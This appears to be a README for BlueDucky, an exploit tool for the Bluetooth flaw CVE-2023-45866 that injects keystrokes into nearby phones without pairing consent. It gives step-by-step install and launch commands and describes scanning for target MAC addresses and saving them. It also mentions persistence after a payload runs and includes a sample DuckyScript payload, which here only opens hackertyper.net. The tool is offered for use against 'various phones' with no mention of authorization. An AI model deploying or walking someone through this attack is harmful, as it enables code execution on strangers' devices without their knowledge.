Thanks to all the people at HackNexus. Make sure you come join us on VC ! https://discord.gg/HackNexus
๐จ CVE-2023-45866 - BlueDucky Implementation (Using DuckyScript)
๐ Unauthenticated Peering Leading to Code Execution (Using HID Keyboard)
This is an implementation of the CVE discovered by marcnewlin
BlueDucky is a powerful tool for exploiting a vulnerability in Bluetooth devices. By running this script, you can:
- ๐ก Load saved Bluetooth devices that are no longer visible but have Bluetooth still enabled.
- ๐ Automatically save any devices you scan.
- ๐ Send messages via ducky script format to interact with devices.
I've successfully run this on a Raspberry Pi 4 using the default Bluetooth module. It works against various phones, with an interesting exception for a New Zealand brand, Vodafone.
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
git clone https://github.com/pentestfunctions/BlueDucky.git
cd BlueDucky
sudo hciconfig hci0 up
python3 BlueDucky.py
- On running, it prompts for the target MAC address.
- Pressing nothing triggers an automatic scan for devices.
- Devices previously found are stored in known_devices.txt.
- If known_devices.txt exists, it checks this file before scanning.
- Executes using payload.txt file.
- Successful execution will result in automatic connection and script running.
๐ง Work in Progress:
- Suggest me ideas
- Updated UI
- Improved User Experience
- Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported.
- Please Note: Numerous Changes have been made,please reference the commit history for specific changes.
- Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran
- Suggest What Should be added next! Join https://discord.gg/HackNexus
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens a private browser to hackertyper.net
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING hackertyper.net
DELAY 300
ENTER
DELAY 300